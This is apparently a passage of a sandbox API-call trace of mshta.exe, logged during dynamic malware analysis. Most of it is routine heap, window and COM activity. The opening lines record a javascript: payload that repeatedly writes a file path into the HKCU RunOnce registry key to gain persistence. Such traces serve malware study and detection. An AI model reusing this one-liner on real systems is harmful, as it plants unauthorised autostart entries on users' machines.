ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('osk.exe').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);") returned 1 [0251.767] HeapFree (in: hHeap=0x9d0000, dwFlags=0x0, lpMem=0x9f0f88 | out: hHeap=0x9d0000) returned 1 [0251.768] CreateURLMonikerEx (in: pMkCtx=0x0, szURL="javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('osk.exe').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);", ppmk=0x95f6a4*=0x0, dwFlags=0x1 | out: ppmk=0x95f6a4*=0x9dd878) returned 0x0 [0251.780] CoIncrementMTAUsage (in: pCookie=0x95de5c | out: pCookie=0x95de5c) returned 0x0 [0251.782] HeapFree (in: hHeap=0x9d0000, dwFlags=0x0, lpMem=0x9f0d70 | out: hHeap=0x9d0000) returned 1 [0251.782] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x10) returned 0x9ddfe8 [0251.782] CoCreateInstance (in: rclsid=0x72908248*(Data1=0x3050f5c8, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x72880548*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x7387f4ec | out: ppv=0x7387f4ec*=0x4968000) returned 0x0 [0251.783] DllGetClassObject (in: rclsid=0x9dd49c*(Data1=0x3050f5c8, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x75c7fd10*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x95e724 | out: ppv=0x95e724*=0x7376b52c) returned 0x0 [0251.783] IClassFactory:CreateInstance (in: This=0x7376b52c, pUnkOuter=0x0, riid=0x95f194*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95e70c | out: ppvObject=0x95e70c*=0x4968000) returned 0x0 [0251.783] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x15c) returned 0xd9e7b0 [0251.783] RtlInterlockedPopEntrySList (in: ListHead=0xd90878 | out: ListHead=0xd90878) returned 0x0 [0251.783] VirtualAlloc (lpAddress=0x4958000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x4958000 [0251.784] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x27c) returned 0xd9e918 [0251.784] RtlInterlockedPopEntrySList (in: ListHead=0xd90878 | out: ListHead=0xd90878) returned 0x0 [0251.784] VirtualAlloc (lpAddress=0x494c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x494c000 [0251.784] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xb0) returned 0xd9eba0 [0251.784] RtlInterlockedPopEntrySList (in: ListHead=0xd90878 | out: ListHead=0xd90878) returned 0x0 [0251.784] VirtualAlloc (lpAddress=0x494e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x494e000 [0251.785] RegisterClassExW (param_1=0x95e578) returned 0xc0f5 [0251.785] CreateWindowExW (dwExStyle=0x8000080, lpClassName=0xc0f5, lpWindowName=0x0, dwStyle=0x80000000, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x726c0000, lpParam=0x0) returned 0x701f8 [0251.839] GetWindowLongW (hWnd=0x701f8, nIndex=-20) returned 134217856 [0251.839] NtdllDefWindowProc_W (hWnd=0x701f8, Msg=0x81, wParam=0x0, lParam=0x95e1c8) returned 0x1 [0251.839] NtdllDefWindowProc_W (hWnd=0x701f8, Msg=0x83, wParam=0x0, lParam=0x95e1b4) returned 0x0 [0251.839] NtdllDefWindowProc_W (hWnd=0x701f8, Msg=0x1, wParam=0x0, lParam=0x95e1c8) returned 0x0 [0251.840] NtdllDefWindowProc_W (hWnd=0x701f8, Msg=0x5, wParam=0x0, lParam=0x0) returned 0x0 [0251.840] NtdllDefWindowProc_W (hWnd=0x701f8, Msg=0x3, wParam=0x0, lParam=0x0) returned 0x0 [0251.840] ShowWindow (hWnd=0x701f8, nCmdShow=8) returned 0 [0251.840] NtdllDefWindowProc_W (hWnd=0x701f8, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0251.840] NtdllDefWindowProc_W (hWnd=0x701f8, Msg=0x46, wParam=0x0, lParam=0x95e614) returned 0x0 [0251.843] NtdllDefWindowProc_W (hWnd=0x701f8, Msg=0x47, wParam=0x0, lParam=0x95e614) returned 0x0 [0251.843] SetWindowPos (hWnd=0x701f8, hWndInsertAfter=0x1, X=0, Y=0, cx=0, cy=0, uFlags=0x13) returned 1 [0251.843] NtdllDefWindowProc_W (hWnd=0x701f8, Msg=0x46, wParam=0x0, lParam=0x95e5fc) returned 0x0 [0251.845] NtdllDefWindowProc_W (hWnd=0x701f8, Msg=0x47, wParam=0x0, lParam=0x95e5fc) returned 0x0 [0251.845] GetModuleHandleW (lpModuleName="ext-ms-win-rtcore-ntuser-window-ext-l1-1-0") returned 0x74b70000 [0251.845] GetProcAddress (hModule=0x74b70000, lpProcName="SetCoalescableTimer") returned 0x74ba3c80 [0251.846] CreateCompatibleDC (hdc=0x0) returned 0x500106dc [0251.846] GetDeviceCaps (hdc=0x500106dc, index=88) returned 96 [0251.846] GetCurrentProcess () returned 0xffffffff [0251.846] GetSystemMetrics (nIndex=1) returned 900 [0251.846] GetSystemMetrics (nIndex=0) returned 1440 [0251.846] GetSystemMetrics (nIndex=68) returned 4 [0251.846] GetSystemMetrics (nIndex=69) returned 4 [0251.846] GetSystemMetrics (nIndex=2) returned 17 [0251.846] GetSystemMetrics (nIndex=3) returned 17 [0251.846] SystemParametersInfoW (in: uiAction=0x29, uiParam=0x1f8, pvParam=0x95e3f8, fWinIni=0x0 | out: pvParam=0x95e3f8) returned 1 [0251.846] CreateFontIndirectW (lplf=0x95e590) returned 0xc50a0703 [0251.846] SelectObject (hdc=0x500106dc, h=0xc50a0703) returned 0x8a01c2 [0251.846] GetTextMetricsW (in: hdc=0x500106dc, lptm=0x95e614 | out: lptm=0x95e614) returned 1 [0251.846] SelectObject (hdc=0x500106dc, h=0x8a01c2) returned 0xc50a0703 [0251.847] DeleteObject (ho=0xc50a0703) returned 1 [0251.847] GetSystemDefaultLCID () returned 0x409 [0251.847] GetUserDefaultLCID () returned 0x409 [0251.847] GetACP () returned 0x4e4 [0251.847] GetLocaleInfoW (in: Locale=0x400, LCType=0x20001014, lpLCData=0x95e5d8, cchData=2 | out: lpLCData="\x01") returned 2 [0251.847] GetLocaleInfoW (in: Locale=0x400, LCType=0x13, lpLCData=0x95e5dc, cchData=11 | out: lpLCData="0123456789") returned 11 [0251.847] SystemParametersInfoW (in: uiAction=0x46, uiParam=0x0, pvParam=0x7388a990, fWinIni=0x0 | out: pvParam=0x7388a990) returned 1 [0251.847] SystemParametersInfoW (in: uiAction=0x42, uiParam=0xc, pvParam=0x95e5ec, fWinIni=0x0 | out: pvParam=0x95e5ec) returned 1 [0251.847] LdrResolveDelayLoadedAPI () returned 0x745825a0 [0251.847] IsAppThemed () returned 0x1 [0251.847] SystemParametersInfoW (in: uiAction=0x1042, uiParam=0x0, pvParam=0x7377879c, fWinIni=0x0 | out: pvParam=0x7377879c) returned 1 [0251.848] SystemParametersInfoW (in: uiAction=0x103e, uiParam=0x0, pvParam=0x73778798, fWinIni=0x0 | out: pvParam=0x73778798) returned 1 [0251.848] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x9c) returned 0xd9ec58 [0251.848] RtlInterlockedPopEntrySList (in: ListHead=0xd90878 | out: ListHead=0xd90878) returned 0x0 [0251.848] VirtualAlloc (lpAddress=0x4960000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x4960000 [0251.848] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xa8) returned 0xd9ed00 [0251.848] RtlInterlockedPopEntrySList (in: ListHead=0xd90878 | out: ListHead=0xd90878) returned 0x0 [0251.848] VirtualAlloc (lpAddress=0x4962000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x4962000 [0251.849] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xe4) returned 0xd9edb0 [0251.849] RtlInterlockedPopEntrySList (in: ListHead=0xd90878 | out: ListHead=0xd90878) returned 0x0 [0251.849] VirtualAlloc (lpAddress=0x4964000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x4964000 [0251.849] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0xd0) returned 0x9e6168 [0251.849] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x268 [0251.850] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x8) returned 0x9f1148 [0251.850] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x26c [0251.851] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xb4) returned 0xd9eea0 [0251.851] RtlInterlockedPopEntrySList (in: ListHead=0xd90878 | out: ListHead=0xd90878) returned 0x0 [0251.851] VirtualAlloc (lpAddress=0x4966000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x4966000 [0251.851] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x14) returned 0x9f08d8 [0251.851] GetSystemWindowsDirectoryW (in: lpBuffer=0x95e480, uSize=0x104 | out: lpBuffer="C:\\WINDOWS") returned 0xa [0251.851] CreateActCtxW (pActCtx=0x95e460) returned 0x9f7e4c [0251.853] ActivateActCtx (in: hActCtx=0x9f7e4c, lpCookie=0x95e42c | out: hActCtx=0x9f7e4c, lpCookie=0x95e42c) returned 1 [0251.853] LoadLibraryExW (lpLibFileName="comctl32.dll", hFile=0x0, dwFlags=0x0) returned 0x72440000 [0251.862] DeactivateActCtx (dwFlags=0x0, ulCookie=0x105e0001) returned 1 [0251.862] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x304) returned 0x4a52650 [0251.862] GetCurrentProcess () returned 0xffffffff [0251.862] GetCurrentThread () returned 0xfffffffe [0251.862] GetCurrentProcess () returned 0xffffffff [0251.863] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xfffffffe, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x4a52680, dwDesiredAccess=0x10004a, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x4a52680*=0x27c) returned 1 [0251.863] GetCurrentThreadId () returned 0xe38 [0251.863] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x278 [0251.863] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x280 [0251.863] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x284 [0251.863] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x288 [0251.863] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x28c [0251.863] _beginthreadex (in: _Security=0x0, _StackSize=0x493e0, _StartAddress=0x72ca4fe0, _ArgList=0xd94d50, _InitFlag=0x10000, _ThrdAddr=0x0 | out: _ThrdAddr=0x0) returned 0x290 [0251.863] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x95e5f0*=0x288, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0251.917] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x294 [0251.917] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x298 [0251.917] _beginthreadex (in: _Security=0x0, _StackSize=0x493e0, _StartAddress=0x72ca4fe0, _ArgList=0xd94d78, _InitFlag=0x10000, _ThrdAddr=0x0 | out: _ThrdAddr=0x0) returned 0x29c [0251.917] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x95e5f0*=0x294, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0251.940] _beginthreadex (in: _Security=0x0, _StackSize=0x493e0, _StartAddress=0x72ca3990, _ArgList=0xd906d8, _InitFlag=0x10000, _ThrdAddr=0x0 | out: _ThrdAddr=0x0) returned 0x2a0 [0251.941] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x95e614*=0x278, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0251.946] GetProfileIntA (lpAppName="windows", lpKeyName="DragScrollDelay", nDefault=50) returned 0x32 [0251.947] GetProfileIntA (lpAppName="windows", lpKeyName="DragDelay", nDefault=200) returned 0xc8 [0251.947] GetProfileIntA (lpAppName="windows", lpKeyName="DragScrollInterval", nDefault=50) returned 0x32 [0251.947] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x95e4b0, nSize=0x104 | out: lpFilename="C:\\WINDOWS\\SysWOW64\\mshta.exe" (normalized: "c:\\windows\\syswow64\\mshta.exe")) returned 0x1d [0251.947] PathFindFileNameW (pszPath="C:\\WINDOWS\\SysWOW64\\mshta.exe") returned="mshta.exe" [0251.948] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x14) returned 0x9f06b8 [0251.948] IsInternetESCEnabled () returned 0x0 [0251.948] RegGetValueW (in: hkey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", lpValue="NoFileMenu", dwFlags=0xffff, pdwType=0x95e49c, pvData=0x95e4a0, pcbData=0x95e4a4*=0x4 | out: pdwType=0x95e49c*=0x0, pvData=0x95e4a0, pcbData=0x95e4a4*=0x4) returned 0x2 [0251.948] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x144) returned 0x4a52960 [0251.948] RtlInterlockedPopEntrySList (in: ListHead=0xd90878 | out: ListHead=0xd90878) returned 0x0 [0251.948] VirtualAlloc (lpAddress=0x4968000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x4968000 [0251.949] QueryPerformanceFrequency (in: lpFrequency=0x95e65c | out: lpFrequency=0x95e65c*=100000000) returned 1 [0251.949] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x17c) returned 0x4a52ab0 [0251.949] RtlInterlockedPopEntrySList (in: ListHead=0xd90878 | out: ListHead=0xd90878) returned 0x0 [0251.949] VirtualAlloc (lpAddress=0x4970000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x4970000 [0251.949] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xd4) returned 0x4a52c38 [0251.950] RtlInterlockedPopEntrySList (in: ListHead=0xd90878 | out: ListHead=0xd90878) returned 0x0 [0251.950] VirtualAlloc (lpAddress=0x4972000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x4972000 [0251.950] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x158) returned 0x4a52d18 [0251.950] RtlInterlockedPopEntrySList (in: ListHead=0xd90878 | out: ListHead=0xd90878) returned 0x0 [0251.950] VirtualAlloc (lpAddress=0x4978000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x4978000 [0251.951] MulDiv (nNumber=1073741823, nNumerator=96, nDenominator=1440) returned 71582788 [0251.951] MulDiv (nNumber=1073741823, nNumerator=96, nDenominator=1440) returned 71582788 [0251.951] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xfc) returned 0x4a52e78 [0251.951] RtlInterlockedPopEntrySList (in: ListHead=0xd90878 | out: ListHead=0xd90878) returned 0x0 [0251.951] VirtualAlloc (lpAddress=0x4974000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x4974000 [0251.952] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xbc) returned 0x4a52f80 [0251.952] RtlInterlockedPopEntrySList (in: ListHead=0xd90878 | out: ListHead=0xd90878) returned 0x0 [0251.952] VirtualAlloc (lpAddress=0x4976000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x4976000 [0251.952] RegisterClipboardFormatW (lpszFormat="WM_HTML_GETOBJECT") returned 0xc0f6 [0251.952] CoInternetCreateSecurityManager (in: pSP=0x0, ppSM=0x7387cc88, dwReserved=0x0 | out: ppSM=0x7387cc88*=0x9f2b28) returned 0x0 [0251.955] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xc8) returned 0x4a53048 [0251.955] RtlInterlockedPopEntrySList (in: ListHead=0xd90878 | out: ListHead=0xd90878) returned 0x0 [0251.955] VirtualAlloc (lpAddress=0x4980000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x4980000 [0251.955] InitOnceExecuteOnce (in: InitOnce=0x73882118, InitFn=0x72d7dde0, Parameter=0x0, Context=0x0 | out: InitOnce=0x73882118, Parameter=0x0, Context=0x0) returned 1 [0251.956] GetCurrentProcess () returned 0xffffffff [0251.956] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x95e5f8 | out: TokenHandle=0x95e5f8*=0x2bc) returned 1 [0251.956] LdrResolveDelayLoadedAPI () returned 0x7241a560 [0251.975] SrpGetEnterpriseIds () returned 0x0 [0251.975] CloseHandle (hObject=0x2bc) returned 1 [0251.976] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x60) returned 0x9fc0b8 [0251.976] GetDoubleClickTime () returned 0x1f4 [0251.976] GetProfileIntA (lpAppName="windows", lpKeyName="DragScrollInset", nDefault=11) returned 0xb [0251.977] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x14c) returned 0x4a53118 [0251.977] RtlInterlockedPopEntrySList (in: ListHead=0xd90878 | out: ListHead=0xd90878) returned 0x0 [0251.977] VirtualAlloc (lpAddress=0x4988000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x4988000 [0252.041] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xa0) returned 0x4a53270 [0252.041] RtlInterlockedPopEntrySList (in: ListHead=0xd90878 | out: ListHead=0xd90878) returned 0x0 [0252.041] VirtualAlloc (lpAddress=0x4982000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x4982000 [0252.043] memcpy_s (in: _Destination=0x4962180, _DestinationSize=0xb8, _Source=0x95dd10, _SourceSize=0xb8 | out: _Destination=0x4962180) returned 0x0 [0252.044] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x154) returned 0x4a53318 [0252.044] RtlInterlockedPopEntrySList (in: ListHead=0xd90878 | out: ListHead=0xd90878) returned 0x0 [0252.044] VirtualAlloc (lpAddress=0x4990000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x4990000 [0252.044] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x94) returned 0x4a53478 [0252.044] RtlInterlockedPopEntrySList (in: ListHead=0xd90878 | out: ListHead=0xd90878) returned 0x0 [0252.044] VirtualAlloc (lpAddress=0x4984000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x4984000 [0252.045] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x168) returned 0x4a53518 [0252.045] RtlInterlockedPopEntrySList (in: ListHead=0xd90878 | out: ListHead=0xd90878) returned 0x0 [0252.045] VirtualAlloc (lpAddress=0x4998000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x4998000 [0252.046] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x90) returned 0x4a53688 [0252.046] RtlInterlockedPopEntrySList (in: ListHead=0xd90878 | out: ListHead=0xd90878) returned 0x0 [0252.046] VirtualAlloc (lpAddress=0x4986000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x4986000 [0252.047] GetCurrentThreadId () returned 0xe38 [0252.047] LdrResolveDelayLoadedAPI () returned 0x7266c0d0 [0252.048] CreateUri (in: pwzURI="about:blank", dwFlags=0x3002b80, dwReserved=0x0, ppURI=0x95e1a4 | out: ppURI=0x95e1a4*=0x9de574) returned 0x0 [0252.048] IUri:GetPropertyDWORD (in: This=0x9de574, uriProp=0x11, pdwProperty=0x95e174, dwFlags=0x0 | out: pdwProperty=0x95e174*=0x11) returned 0x0 [0252.048] CoInternetCreateSecurityManager (in: pSP=0x0, ppSM=0x95e144, dwReserved=0x0 | out: ppSM=0x95e144*=0x9f2ba8) returned 0x0 [0252.048] IUnknown:QueryInterface (in: This=0x9f2ba8, riid=0x7286cdd0*(Data1=0xf1e50292, Data2=0xa795, Data3=0x4117, Data4=([0]=0x8e, [1]=0x9, [2]=0x2b, [3]=0x56, [4]=0xa, [5]=0x72, [6]=0xac, [7]=0x60)), ppvObject=0x95e148 | out: ppvObject=0x95e148*=0x9f2ba8) returned 0x0 [0252.049] IUnknown:Release (This=0x9f2ba8) returned 0x1 [0252.049] IInternetSecurityManager:SetSecuritySite (This=0x9f2ba8, pSite=0x4968e04) returned 0x0 [0252.049] IUnknown:AddRef (This=0x4968e04) returned 0x28 [0252.049] IUnknown:AddRef (This=0x9f2ba8) returned 0x2 [0252.062] DllGetClassObject (in: rclsid=0x9dd31c*(Data1=0x3050f406, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x95d5e4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x95cbf4 | out: ppv=0x95cbf4*=0x7376ba90) returned 0x0 [0252.062] IUnknown:AddRef (This=0x7376ba90) returned 0x1 [0252.062] IUnknown:Release (This=0x7376ba90) returned 0x1 [0252.062] IUnknown:QueryInterface (in: This=0x7376ba90, riid=0x74109214*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95d89c | out: ppvObject=0x95d89c*=0x7376ba90) returned 0x0 [0252.063] IUnknown:Release (This=0x7376ba90) returned 0x1 [0252.063] IUnknown:QueryInterface (in: This=0x7376ba90, riid=0x7410a158*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x95daec | out: ppvObject=0x95daec*=0x7376ba9c) returned 0x0 [0252.063] IUnknown:Release (This=0x7376ba90) returned 0x1 [0252.063] IInternetProtocolInfo:ParseUrl (in: This=0x7376ba9c, pwzUrl="about:blank", ParseAction=3, dwParseFlags=0x0, pwzResult=0x9f05d8, cchResult=0xc, pcchResult=0x95dae4, dwReserved=0x0 | out: pwzResult="about:blank", pcchResult=0x95dae4*=0xc) returned 0x0 [0252.063] StrCmpICW (pszStr1="about:blank", pszStr2="about:blank") returned 0 [0252.063] StrCmpICW (pszStr1="about:blank", pszStr2="about:blank") returned 0 [0252.063] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x1c) returned 0x9f1510 [0252.063] HeapFree (in: hHeap=0x9d0000, dwFlags=0x0, lpMem=0x9f1510 | out: hHeap=0x9d0000) returned 1 [0252.063] IUnknown:Release (This=0x7376ba9c) returned 0x1 [0252.063] DllGetClassObject (in: rclsid=0x9dd31c*(Data1=0x3050f406, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x74109214*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x95d5f8 | out: ppv=0x95d5f8*=0x7376ba90) returned 0x0 [0252.063] IUnknown:QueryInterface (in: This=0x7376ba90, riid=0x7410a158*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x95daf0 | out: ppvObject=0x95daf0*=0x7376ba9c) returned 0x0 [0252.063] IUnknown:Release (This=0x7376ba90) returned 0x1 [0252.063] IInternetProtocolInfo:ParseUrl (in: This=0x7376ba9c, pwzUrl="about:blank", ParseAction=17, dwParseFlags=0x0, pwzResult=0x9f0658, cchResult=0xc, pcchResult=0x95daec, dwReserved=0x0 | out: pwzResult="", pcchResult=0x95daec*=0x0) returned 0x800c0011 [0252.063] IUnknown:Release (This=0x7376ba9c) returned 0x1 [0252.064] IUnknown:Release (This=0x9f2ba8) returned 0x1 [0252.064] IUnknown:Release (This=0x9de574) returned 0x3 [0252.064] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x10) returned 0x9f9000 [0252.064] memcpy_s (in: _Destination=0x9f9000, _DestinationSize=0x10, _Source=0x95e208, _SourceSize=0x10 | out: _Destination=0x9f9000) returned 0x0 [0252.064] CoInternetCreateSecurityManager (in: pSP=0x0, ppSM=0x95e1dc, dwReserved=0x0 | out: ppSM=0x95e1dc*=0x9fe1b0) returned 0x0 [0252.064] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x10) returned 0x9f8ec8 [0252.065] memcpy_s (in: _Destination=0x9f8ec8, _DestinationSize=0x10, _Source=0x95e208, _SourceSize=0x10 | out: _Destination=0x9f8ec8) returned 0x0 [0252.065] IUnknown:AddRef (This=0x9f2ba8) returned 0x2 [0252.065] IUnknown:Release (This=0x9f2ba8) returned 0x1 [0252.065] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x98) returned 0x4a53720 [0252.065] RtlInterlockedPopEntrySList (in: ListHead=0xd90878 | out: ListHead=0xd90878) returned 0x0 [0252.066] VirtualAlloc (lpAddress=0x49a0000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x49a0000 [0252.066] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x2000) returned 0x9fe390 [0252.066] memcpy_s (in: _Destination=0x9fe390, _DestinationSize=0x2000, _Source=0x95e3a8, _SourceSize=0x4 | out: _Destination=0x9fe390) returned 0x0 [0252.067] IUnknown:AddRef (This=0x9f2ba8) returned 0x2 [0252.067] CreateUri (in: pwzURI="about:blank", dwFlags=0x3002b80, dwReserved=0x0, ppURI=0x95e1b8 | out: ppURI=0x95e1b8*=0x9de574) returned 0x0 [0252.067] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1 [0252.067] DllGetClassObject (in: rclsid=0x9dd31c*(Data1=0x3050f406, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x74109214*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x95da08 | out: ppv=0x95da08*=0x7376ba90) returned 0x0 [0252.067] IUnknown:QueryInterface (in: This=0x7376ba90, riid=0x7410a158*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x95da74 | out: ppvObject=0x95da74*=0x7376ba9c) returned 0x0 [0252.067] IUnknown:Release (This=0x7376ba90) returned 0x1 [0252.067] IInternetProtocolInfo:ParseUrl (in: This=0x7376ba9c, pwzUrl="about:blank", ParseAction=3, dwParseFlags=0x0, pwzResult=0x9f0938, cchResult=0xc, pcchResult=0x95da6c, dwReserved=0x0 | out: pwzResult="about:blank", pcchResult=0x95da6c*=0xc) returned 0x0 [0252.068] StrCmpICW (pszStr1="about:blank", pszStr2="about:blank") returned 0 [0252.068] StrCmpICW (pszStr1="about:blank", pszStr2="about:blank") returned 0 [0252.068] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x1c) returned 0x9f1830 [0252.068] HeapFree (in: hHeap=0x9d0000, dwFlags=0x0, lpMem=0x9f1830 | out: hHeap=0x9d0000) returned 1 [0252.068] IUnknown:Release (This=0x7376ba9c) returned 0x1 [0252.068] DllGetClassObject (in: 